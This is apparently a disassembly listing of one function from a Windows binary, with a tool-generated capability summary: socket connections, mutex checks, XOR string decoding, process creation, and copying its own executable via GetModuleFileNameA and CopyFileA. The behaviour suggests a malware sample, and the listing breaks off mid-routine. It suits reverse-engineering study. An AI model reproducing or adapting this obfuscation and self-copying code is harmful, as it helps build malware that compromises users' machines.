Function at 0x4096f0
Capabilities:
Act as tcp client
Check mutex on windows
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create process on windows
Create tcp socket
Create udp socket
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439ae0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0xc
mov eax, 0x2824
call fcn.0041ce70
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movups xmm0, xmmword [str.v_fkmJ_IOa_____]
movups xmmword [ebp - 0x33d], xmm0
movups xmm0, xmmword [str._2_____]
movups xmmword [ebp - 0x32d], xmm0
movups xmm0, xmmword [0x446054]
movups xmmword [ebp - 0x31d], xmm0
movq xmm0, qword [0x446064]
movq qword [ebp - 0x30d], xmm0
mov al, byte [0x44606c]
mov byte [ebp - 0x305], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov edi, dword [0x44b508]
lea esi, [ecx + 4]
cmp edi, 2
jl 0x4098d0
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov edx, 0x1f
movd xmm7, edx
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x33d]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x33d], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x339]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x339], xmm1
add ecx, 8
cmp ecx, 0x38
jl 0x4097c2
mov dword [ebp - 0x24], ecx
cmp ecx, 0x39
jge 0x409900
nop dword [eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x33d], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x39
jl 0x4098d0
lea eax, [ebp - 0x33d]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
mov ecx, eax
call fcn.00408c20
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0xec]
call fcn.004034a0
cmp byte [ebp - 0x31], 0
jne 0x4117fd
movq xmm0, qword [0x4463d4]
movq qword [ebp - 0x13b], xmm0
mov ax, word [0x4463dc]
mov word [ebp - 0x133], ax
mov al, byte [0x4463de]
mov byte [ebp - 0x131], al
xor edx, edx
mov dword [ebp - 0x24], edx
nop
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x13b], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xb
jl 0x409960
push 1
lea eax, [ebp - 0x13b]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
push eax
lea ecx, [ebp - 0x6f4]
call fcn.00414300
lea ecx, [ebp - 0xec]
call fcn.004034a0
mov eax, dword [0x4467d4]
mov dword [ebp - 0x147], eax
mov ax, word [0x4467d8]
mov word [ebp - 0x143], ax
mov al, byte [0x4467da]
mov byte [ebp - 0x141], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x24]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x147], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 7
jl 0x4099e6
push 1
lea eax, [ebp - 0x147]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
push eax
lea ecx, [ebp - 0x6e0]
call fcn.00414300
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0xec]
call fcn.00407ae0
mov ecx, eax
call fcn.00403420
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x28], ecx
nop
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x409a60
sub edx, dword [ebp - 0x28]
add edx, eax
push 1
push 0x10
lea ecx, [ebp - 0x6f4]
push ecx
push 0
mov ecx, eax
call fcn.00415180
add esp, 0x10
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0xec]
call fcn.004034a0
cmp byte [ebp - 0x31], 0
jne 0x411768
lea ecx, [ebp - 0xec]
call fcn.00407ae0
mov ecx, eax
call fcn.00403420
mov edx, eax
lea ecx, [edx + 1]
mov dword [ebp - 0x28], ecx
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x409ab5
sub edx, dword [ebp - 0x28]
add edx, eax
push 1
push 0x10
lea ecx, [ebp - 0x6e0]
push ecx
push 0
mov ecx, eax
call fcn.00415180
add esp, 0x10
mov byte [ebp - 0x31], al
lea ecx, [ebp - 0xec]
call fcn.004034a0
cmp byte [ebp - 0x31], 0
jne 0x411768
movq xmm0, qword [0x445f74]
movq qword [ebp - 0x48], xmm0
mov eax, dword [0x445f7c]
mov dword [ebp - 0x40], eax
cmp byte [0x445f7f], 0
je 0x409c51
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x409c24
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x445f74]
pxor xmm1, xmm0
movd dword [ebp - 0x48], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x44]
pxor xmm1, xmm0
movd dword [ebp - 0x44], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x48], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xc
jl 0x409c24
lea eax, [ebp - 0x48]
push eax
call fcn.00424a1d
add esp, 4
push eax
lea ecx, [ebp - 0x974]
call fcn.00403540
lea eax, [ebp - 0x62]
push eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x4fc]
call fcn.004045a0
lea eax, [ebp - 0x974]
push eax
lea ecx, [ebp - 0x4fc]
call fcn.00403e10
lea ecx, [ebp - 0x4b8]
call fcn.00406a40
push 0x104
lea eax, [ebp - 0x21a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movups xmm0, xmmword [str.i_DNZINKW_o__E]
movups xmmword [ebp - 0xfd], xmm0
mov al, byte [0x446188]
mov byte [ebp - 0xed], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x409e20
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
nop dword [eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xfd]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xfd], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf9]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xf9], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x409d10
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jge 0x409e50
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0xfd], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jl 0x409e20
lea eax, [ebp - 0xfd]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
lea ecx, [ebp - 0x4fc]
push ecx
push 0
mov ecx, eax
call fcn.00414cc0
push eax
lea ecx, [ebp - 0x11c]
call fcn.004034f0
push 0
lea ecx, [ebp - 0x11c]
call fcn.00403420
push eax
lea eax, [ebp - 0x21a0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0xec]
call fcn.004034a0
mov dword [ebp - 0x28], connect
movups xmm0, xmmword [str.i_DNZINKW_o__E]
movups xmmword [ebp - 0xfd], xmm0
mov al, byte [0x446188]
mov byte [ebp - 0xed], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40a020
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xfd]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xfd], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf9]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xf9], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x409f13
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jge 0x40a050
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0xfd], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jl 0x40a020
lea eax, [ebp - 0xfd]
push eax
lea ecx, [ebp - 0x3a4]
call fcn.00403540
lea ecx, [ebp - 0x4fc]
push ecx
push 0
mov ecx, eax
call fcn.00414cc0
push eax
lea ecx, [ebp - 0x11c]
call fcn.004034f0
movq xmm0, qword [str.XEA_J_IJT_Z_]
movq qword [ebp - 0x48], xmm0
mov eax, dword [0x4467a8]
mov dword [ebp - 0x40], eax
cmp byte [0x4467ab], 0
je 0x40a1df
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40a1b2
movaps xmm4, xmmword [0x446930]
movd xmm5, esi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x446860]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
mov eax, dword [0x446910]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.XEA_J_IJT_Z_]
pxor xmm1, xmm0
movd dword [ebp - 0x48], xmm1
movaps xmm2, xmmword [0x446870]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4468a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x44]
pxor xmm1, xmm0
movd dword [ebp - 0x44], xmm1
mov ecx, 8
mov dword [ebp - 0x24], ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x48], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0xc
jl 0x40a1b2
movups xmm0, xmmword [str.fyqlniyasv]
movups xmmword [ebp - 0x332], xmm0
movups xmm0, xmmword [0x446014]
movups xmmword [ebp - 0x322], xmm0
movq xmm0, qword [0x446024]
movq qword [ebp - 0x312], xmm0
mov eax, dword [0x44602c]
mov dword [ebp - 0x30a], eax
mov ax, word [0x446030]
mov word [ebp - 0x306], ax
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40a380
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
nop word [eax + eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x332]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x332], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x32e]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x32e], xmm1
add ecx, 8
cmp ecx, 0x28
jl 0x40a270
mov dword [ebp - 0x24], ecx
cmp ecx, 0x2e
jge 0x40a3b0
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0x332], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x2e
jl 0x40a380
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
push eax
lea eax, [ebp - 0x332]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x28]
call fcn.0041a750
add esp, 8
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x3a4]
call fcn.004034a0
movups xmm0, xmmword [str.i_DNZINKW_o__E]
movups xmmword [ebp - 0xfd], xmm0
mov al, byte [0x446188]
mov byte [ebp - 0xed], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40a580
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
nop
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xfd]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xfd], xmm1
lea eax, [ecx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0xf9]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0xf9], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x40a470
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jge 0x40a5b0
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [ebp + ecx - 0xfd], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
jl 0x40a580
lea eax, [ebp - 0xfd]
push eax
lea ecx, [ebp - 0x168]
call fcn.00403540
lea ecx, [ebp - 0x4fc]
push ecx
push 0
mov ecx, eax
call fcn.00414cc0
push eax
lea ecx, [ebp - 0x11c]
call fcn.004034f0
push 0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x21a0]
push eax
lea ecx, [ebp - 0xec]
call fcn.00403540
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
lea ecx, [ebp - 0x168]
call fcn.004034a0
cmp esi, 0xffffffff
jne 0x40a839
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x4d], 0
lea eax, [ebp - 0xfd]
push eax
lea ecx, [ebp - 0x31]
call fcn.00411910
mov esi, eax
mov dword [ebp - 0xcc], esi
cmp byte [esi + 0x10], 0
je 0x40a7e5
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp edi, 2
jl 0x40a7b2
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
mov eax, 4
movd xmm5, eax
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, esi
mov eax, 4
sub eax, esi
mov edi, dword [ebp - 0x130]
mov esi, eax
nop dword [eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [edx]
pxor xmm1, xmm0
movd dword [edx], xmm1
lea eax, [esi + edx]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [edx + 4]
pxor xmm1, xmm0
movd dword [edx + 4], xmm1
add ecx, 8
lea edx, [edx + 8]
cmp ecx, 0x10
jl 0x40a6b0
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
mov esi, dword [ebp - 0xcc]
jge 0x40a7e5
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x24]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x11
mov esi, dword [ebp - 0xcc]
jl 0x40a7b2
lea eax, [ebp - 0x3c1]
push eax
lea ecx, [ebp - 0x4d]
call fcn.004118f0
mov edi, eax
cmp byte [edi + 4], 0
je 0x4117aa
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
lea esi, [edi + ecx]
mov eax, 0x3521cfb3
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, 5
jge 0x4117aa
jmp 0x40a805
movups xmm0, xmmword [0x4467ec]
movups xmmword [ebp - 0x18b], xmm0
mov ax, word [0x4467fc]
mov word [ebp - 0x17b], ax
mov al, byte [0x4467fe]
mov byte [ebp - 0x179], al
xor ecx, ecx
mov dword [ebp - 0x24], ecx
lea esi, [ecx + 4]
cmp edi, 2
jl 0x40a9c0
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446930]
movd xmm5, esi
movaps xmm6, xmmword [0x4468a0]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x446910]
movaps xmmword [ebp - 0x130], xmm0
mov edx, dword [ebp - 0x130]
nop word [eax + eax]
movd xmm0, ecx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
